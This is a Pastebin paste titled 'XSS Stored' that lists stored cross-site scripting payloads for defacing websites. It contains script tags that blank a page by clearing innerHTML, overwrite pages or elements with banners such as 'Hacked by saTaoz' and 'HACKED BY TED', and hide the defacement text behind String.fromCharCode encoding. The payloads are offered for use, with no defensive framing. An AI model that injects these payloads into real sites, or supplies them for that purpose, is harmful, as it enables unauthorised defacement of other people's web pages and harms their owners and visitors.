Advertisement
afrizalwahyuadi66

XSS Stored

Mar 31st, 2024 (edited)
1,409
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 2.84 KB | Cybersecurity | 0 0
  1. #SUPPORT ME IN https://salamedia.id
  2. ===================================
  3.  
  4. {Change Background Color}
  5.  
  6. <body style="background-color:blue;">
  7. ____________________________________________________________________________________________________________________________
  8. ____________________________________________________________________________________________________________________________
  9. {Change Background Image}
  10.  
  11. <style>
  12. div {
  13. background-image: url('http://www.deepeddy.net/img/deepeddyfish.gif');
  14. }
  15. </style>
  16. ____________________________________________________________________________________________________________________________
  17. ____________________________________________________________________________________________________________________________
  18. {Blanking a Web Page}
  19.  
  20. Note: document.documentElement.innerHTML contains all HTML of a web page. Setting it to equal to an empty string ("") causes all HTML on that page to disappear.
  21.  
  22. <script>document.documentElement.innerHTML=""</script>
  23. ____________________________________________________________________________________________________________________________
  24. ____________________________________________________________________________________________________________________________
  25. {Defacing a Web Page by Injecting HTML Code}
  26. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  27. <script>document.documentElement.innerHTML="<html><h1>Hacked by saTaoz</h1>What do you think of me now?</html>"</script>
  28.  
  29. Alternate scripts:
  30.  
  31. <script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>HACKED BY TED</h1></div>";</script>
  32.  
  33. <script>document.body.innerHTML="<h1>Hacked by saTaoz</h1>";</script>
  34. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  35. <script>document.documentElement.innerHTML=(String.fromCharCode(CharCode string goes here));</script>
  36. Example :
  37. <script>document.documentElement.innerHTML=(String.fromCharCode(72, 97, 99, 107, 101, 100, 32, 98, 121, 32, 115, 97, 84, 97, 111, 122));</script>
  38. ____________________________________________________________________________________________________________________________
  39. ____________________________________________________________________________________________________________________________
  40. {Defacing a Web Page by Modifying the DOM and Injecting HTML Code}
  41.  
  42. <script> document.getElementById("pageName").innerHTML = "Stay away from our page!<p><h4>You are where you do not belong.</h4></p>";</script>
  43.  
  44. Example :
  45. <script>document.getElementById("main_body").innerHTML = "<h1>Hacking is not a crime!</h1>";</script>
  46. ____________________________________________________________________________________________________________________________
  47.  
Tags: XSS Stored
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement